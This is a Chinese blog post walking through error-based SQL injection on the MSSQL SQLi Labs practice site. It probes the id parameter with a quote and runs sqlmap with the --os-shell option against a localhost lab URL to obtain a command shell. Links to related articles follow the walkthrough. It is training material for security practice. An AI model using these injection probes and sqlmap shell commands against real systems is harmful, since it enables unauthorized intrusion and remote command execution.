首页 > 数据库 >SQL server基于报错的注入(使用sqlmap进行get shell)

SQL server基于报错的注入(使用sqlmap进行get shell)

时间:2024-07-21 21:08:10浏览次数:20  
标签:sqlmap shell less 报错 id 注入

SQL server基于报错的注入

1.访问MSSQL SQLi Labs网站

image-20240721204440045

点击按钮,我们使用GET请求上传参数“id”,当id=1时,页面显示id=1的用户名Dump、密码Dump:

image-20240721204631637

2.寻找注入点

http://[靶机IP]/less-1.asp?id=1'

运行后报错,说明我们可以利用参数“id”作为我们的注入点,根据回显我们可以判断这是字符型注入点:

image-20240721205059648

直接上SQLmap吧:

python sqlmap.py -u http://localhost:800/less-1.asp?id=1

image-20240721205446190

可以发现id可以作为注入点,我们直接getshell:

python sqlmap.py -u http://localhost:800/less-1.asp?id=1 --os-shell

image-20240721205656211

获得了shell

image-20240721205917279

后面的关卡也这么做吧。

标签:sqlmap,shell,less,报错,id,注入
From: https://www.cnblogs.com/csmaster/p/18314950

相关文章

  • 安装CentOS Stream 8时,报错 “started cancel waiting for multipath siblings of nvm
    【系列】真机安装CentOSStream8问题第一步解决安装过程报错(❗︎本节内容❗︎)第二步分区第三步配置软件源第四步安装显卡驱动第五步挂载U盘第六步解决没有1920x1080分辨率的问题文章目录【系列】真机安装CentOSStream8问题一、报错描述二、解决方法常见启动......
  • vue3 ts 项目增加eslint插件实现命令行报错提示和vscode 报错提示,eslint 最新版本9.x
    快速开始安装eslintyarnaddeslint-D然后运行初始化eslintnpxeslint--init接着上面命令会自动生成一个新文件eslint.config.jseslint.config.jsimportglobalsfrom"globals";importpluginJsfrom"@eslint/js";importtseslintfrom"typescript-eslint......
  • Linux开发讲课39---设置和查看Linux系统的环境和Shell这两种变量
            在Linux系统中,有环境变量和Shell变量这两种变量。        环境变量是在程序及其子程序中全局可用的,常常用来储存像默认的文本编辑器或者浏览器,以及可执行文件的路径等等这样的信息。而Shell变量仅在当前Shell中可用,可以用来存储当前用户的ID......
  • 记录 OpenWrt 执行 opkg update 命令报错 Failed to download,但是换源无效且源用浏览
    记录OpenWrt执行opkgupdate命令报错Failedtodownload,但是换源无效且源用浏览器可访问的解决方案解决方法首先给出解决方法:)网络-->接口-->WAN-->编辑-->高级设置取消勾选“自动获取DNS服务器”-->在使用自定义的DNS服务器一栏中添加并输入可用的DNS地址。......
  • xshell连接虚拟机
    1、新建连接进入xshell,点击左上角<新建>,新建立一个连接编辑跳出来的属性窗口点击<连接>名称自定义协议默认为SSH主机填写虚拟机的ip地址(在虚拟机终端输入ifconfig命令,根据提示安装相应工具)端口默认为222、启用ssh服务查看虚拟机是否启用ssh服务终端输入ps-e|......
  • 在 PowerShell 中,可以编写脚本来检测本地加载和远程加载的情况。这通常涉及到检查计算
    在PowerShell中,可以编写脚本来检测本地加载和远程加载的情况。这通常涉及到检查计算机上的特定服务或应用程序的状态或配置。以下是一些示例脚本和方法,可以用来实现这些检测:检测本地加载示例:检查本地服务的运行状态powershellCopyCode#检查本地服务状态$serviceName="M......
  • 在 PowerShell 中,"本地加载"和"远程加载"通常指的是运行脚本或命令的位置或方式。以下
    在PowerShell中,"本地加载"和"远程加载"通常指的是运行脚本或命令的位置或方式。以下是关于本地加载和远程加载的一些基本概念和示例:本地加载本地加载指的是在当前计算机上执行PowerShell脚本或命令。这些脚本和命令直接在本地计算机上运行,无需通过网络连接到其他计算机或服......
  • PowerShell 命令来操作 Windows 注册表 Get-ItemProperty 命令可以获取指定注册表路径
    PowerShell提供了一些命令和方法来操作Windows注册表。以下是一些常用的PowerShell命令和示例:1.获取注册表项的值使用Get-ItemProperty命令可以获取指定注册表路径下的键值信息。powershellCopyCode#获取注册表项的值Get-ItemProperty-Path"HKCU:\Software\Micro......
  • 解决.Net Framework3.5安装报错0x80070490
    .NETFramework是Windows平台下的软件框架,包括1.0~4.8多个版本,向下兼容。Win7默认安装的是3.5版,早期Win10版本默认安装的4.6版,本文分享如何在Win10和Win11上离线安装.NETFramework3.5,并解决安装报0x80070490找不到元素的错误。问题描述在早些年,有的软件安装时强制验证.NETFr......
  • 深入理解Shell脚本判断符号:实例讲解与最佳实践
    引言在Shell脚本编程中,判断符号扮演着至关重要的角色。它们允许我们进行条件测试、比较值,并根据这些测试的结果来控制脚本的执行流程。本文将深入探讨Shell脚本中常用的判断符号,并通过实例来展示它们的用法。1.文件测试运算符文件测试运算符用于检查文件的各种属性。以......